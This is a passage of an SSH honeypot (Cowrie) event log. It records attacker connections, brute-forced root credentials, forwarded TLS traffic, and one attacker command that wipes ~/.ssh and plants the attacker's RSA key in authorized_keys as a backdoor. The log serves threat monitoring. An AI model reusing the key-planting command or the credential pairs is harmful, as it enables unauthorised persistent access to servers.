\\x16\\xbb?\\xa0\\xedM\\x8d\\xb1\\xbc_\\xb5\\x8f\\xacgG0\\xa6p\\xfb\\x9d\\x0e\\x11f\\xe8\\x9e\\xb76\\xf2^\\xc8\\xc8\\x95\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 `\\x04\\xd5\\xb1\\x1e!\\x97\\xb54=\\rs\\x03ML\\x8e+\\xce#\\x0f('\\xf0\\r\\xd9\\x0f\\xfa\\xba\\x0f*\\x17~\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:35.619937Z","src_ip":"77.90.185.17","session":"e636f8cdb72a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:35.758573Z","src_ip":"2.57.122.210","session":"79adfe0661b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.250.109.105","dst_port":443,"src_ip":"77.90.185.17","src_port":39446,"message":"direct-tcp connection request to 142.250.109.105:443 from 127.0.0.1:39446","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:35.774282Z","session":"e636f8cdb72a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.250.109.105","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.250.109.105:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:37.799951Z","src_ip":"77.90.185.17","session":"e636f8cdb72a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.250.109.105","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03E\\xd1\\t\\xb8\\x81\\xe2\\xdc\\xb1\\x85\\n\\xe9\\xd2\\x9e\\xed\\x8e@\\x9c\\xe9\\x1a(e\\xad\\xd0S+Q\\xf7$\\x1e\\x9d{\\xf7 \\xf3K\\xbc\\xcb\\x85\\xd5\\x01\\xbf=\\xfb|$\\x95\\x1cu\\xc0!\\xb3\\xb8o\\x99v~\\xed\\xea\\x82\\xda\\xba\\xed_p\\x96\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x17\\x02\\xd64W\\x1b\\xae8\\x1e\\x92ihE\\x1f\\xcb\\xf3@O\\xf8.\\xb5T\\xd62+\\x03-\"\\x99>\\x1e\\x16\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 142.250.109.105:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03E\\xd1\\t\\xb8\\x81\\xe2\\xdc\\xb1\\x85\\n\\xe9\\xd2\\x9e\\xed\\x8e@\\x9c\\xe9\\x1a(e\\xad\\xd0S+Q\\xf7$\\x1e\\x9d{\\xf7 \\xf3K\\xbc\\xcb\\x85\\xd5\\x01\\xbf=\\xfb|$\\x95\\x1cu\\xc0!\\xb3\\xb8o\\x99v~\\xed\\xea\\x82\\xda\\xba\\xed_p\\x96\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x17\\x02\\xd64W\\x1b\\xae8\\x1e\\x92ihE\\x1f\\xcb\\xf3@O\\xf8.\\xb5T\\xd62+\\x03-\"\\x99>\\x1e\\x16\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:37.803662Z","src_ip":"77.90.185.17","session":"e636f8cdb72a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:37.952994Z","src_ip":"77.90.185.17","session":"e636f8cdb72a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44434,"dst_ip":"159.203.135.109","dst_port":22,"session":"87f44da19c7a","protocol":"ssh","message":"New connection: 60.199.224.2:44434 (159.203.135.109:22) [session: 87f44da19c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:21.605859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:21.610522Z","src_ip":"60.199.224.2","session":"87f44da19c7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:21.819512Z","src_ip":"60.199.224.2","session":"87f44da19c7a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1q2w3e4r5t@","message":"login attempt [root/1q2w3e4r5t@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:22.686675Z","src_ip":"60.199.224.2","session":"87f44da19c7a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:23.144651Z","src_ip":"60.199.224.2","session":"87f44da19c7a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:23.147580Z","src_ip":"60.199.224.2","session":"87f44da19c7a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:23.150906Z","src_ip":"60.199.224.2","session":"87f44da19c7a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:23.363559Z","src_ip":"60.199.224.2","session":"87f44da19c7a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:23.822198Z","src_ip":"60.199.224.2","session":"87f44da19c7a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:23.825738Z","src_ip":"60.199.224.2","session":"87f44da19c7a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:24.039197Z","src_ip":"60.199.224.2","session":"87f44da19c7a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:24.042912Z","src_ip":"60.199.224.2","session":"87f44da19c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44438,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9c71bd757c9","protocol":"ssh","message":"New connection: 60.199.224.2:44438 (159.203.135.109:22) [session: b9c71bd757c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:24.245734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:24.250228Z","src_ip":"60.199.224.2","session":"b9c71bd757c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:24.461151Z","src_ip":"60.199.224.2","session":"b9c71bd757c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:25.338661Z","src_ip":"60.199.224.2","session":"b9c71bd757c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:26.552996Z","src_ip":"60.199.224.2","session":"b9c71bd757c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44444,"dst_ip":"159.203.135.109","dst_port":22,"session":"06f32fa0aac9","protocol":"ssh","message":"New connection: 60.199.224.2:44444 (159.203.135.109:22) [session: 06f32fa0aac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:26.758295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:26.762197Z","src_ip":"60.199.224.2","session":"06f32fa0aac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:26.969797Z","src_ip":"60.199.224.2","session":"06f32fa0aac9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:27.837416Z","src_ip":"60.199.224.2","session":"06f32fa0aac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:28.048861Z","src_ip":"60.199.224.2","session":"87f44da19c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:28.052428Z","src_ip":"60.199.224.2","session":"06f32fa0aac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.253","src_port":36148,"dst_ip":"159.203.135.109","dst_port":22,"session":"121142f4f118","protocol":"ssh","message":"New connection: 185.196.10.253:36148 (159.203.135.109:22) [session: 121142f4f118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:34.586663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:34.591147Z","src_ip":"185.196.10.253","session":"121142f4f118","protocol":"ssh"}
